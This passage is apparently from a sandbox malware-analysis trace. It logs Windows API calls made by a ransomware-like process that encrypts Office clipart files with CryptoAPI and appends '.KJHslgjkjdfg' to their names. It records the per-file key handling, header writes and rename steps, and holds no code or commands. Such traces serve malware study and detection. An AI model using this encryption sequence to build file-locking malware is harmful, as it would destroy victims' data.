nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.952] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.952] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.952] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.953] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.953] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.953] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.953] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.953] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.953] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1bcc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1bcc, lpOverlapped=0x0) returned 1 [0197.954] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1bd0, dwBufLen=0x1bd0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1bd0) returned 1 [0197.954] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.954] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1bd0, lpOverlapped=0x0) returned 1 [0197.954] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.954] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.954] SetEndOfFile (hFile=0x130) returned 1 [0197.957] GetProcessHeap () returned 0x990000 [0197.957] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.957] GetProcessHeap () returned 0x990000 [0197.957] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.kjhslgjkjdfg")) returned 1 [0197.959] CloseHandle (hObject=0x130) returned 1 [0197.959] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187849.WMF", cAlternateFileName="")) returned 1 [0197.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.961] GetProcessHeap () returned 0x990000 [0197.961] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.961] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.961] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.961] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0197.962] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.962] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.962] GetProcessHeap () returned 0x990000 [0197.962] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.962] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.962] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.962] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.963] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.963] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.963] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.963] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.963] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.963] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.963] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.963] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.963] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1d94, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1d94, lpOverlapped=0x0) returned 1 [0197.964] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1da0, dwBufLen=0x1da0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1da0) returned 1 [0197.964] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.964] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1da0, lpOverlapped=0x0) returned 1 [0197.964] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.964] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.965] SetEndOfFile (hFile=0x130) returned 1 [0197.967] GetProcessHeap () returned 0x990000 [0197.967] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.967] GetProcessHeap () returned 0x990000 [0197.967] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.967] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.kjhslgjkjdfg")) returned 1 [0197.968] CloseHandle (hObject=0x130) returned 1 [0197.969] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x221c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187851.WMF", cAlternateFileName="")) returned 1 [0197.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.969] GetProcessHeap () returned 0x990000 [0197.969] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.970] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.970] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.970] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.972] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.972] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.972] GetProcessHeap () returned 0x990000 [0197.972] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.972] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.972] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.972] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.972] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.972] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.972] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.973] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.973] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.973] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.973] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.973] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.973] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x221c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x221c, lpOverlapped=0x0) returned 1 [0197.974] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2220, dwBufLen=0x2220 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2220) returned 1 [0197.974] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.974] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2220, lpOverlapped=0x0) returned 1 [0197.974] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.974] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x22f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.974] SetEndOfFile (hFile=0x130) returned 1 [0197.977] GetProcessHeap () returned 0x990000 [0197.977] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.977] GetProcessHeap () returned 0x990000 [0197.977] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.977] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf.kjhslgjkjdfg")) returned 1 [0197.979] CloseHandle (hObject=0x130) returned 1 [0197.979] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xaac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187859.WMF", cAlternateFileName="")) returned 1 [0197.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.980] GetProcessHeap () returned 0x990000 [0197.980] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.980] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.980] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.980] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.982] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.982] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.982] GetProcessHeap () returned 0x990000 [0197.982] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.982] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.982] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.982] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.982] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.983] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.983] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.983] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.983] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.983] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.983] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xaac, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xaac, lpOverlapped=0x0) returned 1 [0197.983] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xab0, dwBufLen=0xab0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xab0) returned 1 [0197.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.983] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xab0, lpOverlapped=0x0) returned 1 [0197.983] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.984] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.984] SetEndOfFile (hFile=0x130) returned 1 [0197.985] GetProcessHeap () returned 0x990000 [0197.985] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.985] GetProcessHeap () returned 0x990000 [0197.985] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.985] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187859.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187859.wmf.kjhslgjkjdfg")) returned 1 [0197.986] CloseHandle (hObject=0x130) returned 1 [0197.986] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187861.WMF", cAlternateFileName="")) returned 1 [0197.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.987] GetProcessHeap () returned 0x990000 [0197.987] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.988] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.988] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.988] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0197.989] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.989] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.989] GetProcessHeap () returned 0x990000 [0197.989] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.989] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.989] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.989] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.989] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.989] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.989] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.990] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.990] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.990] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.990] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, 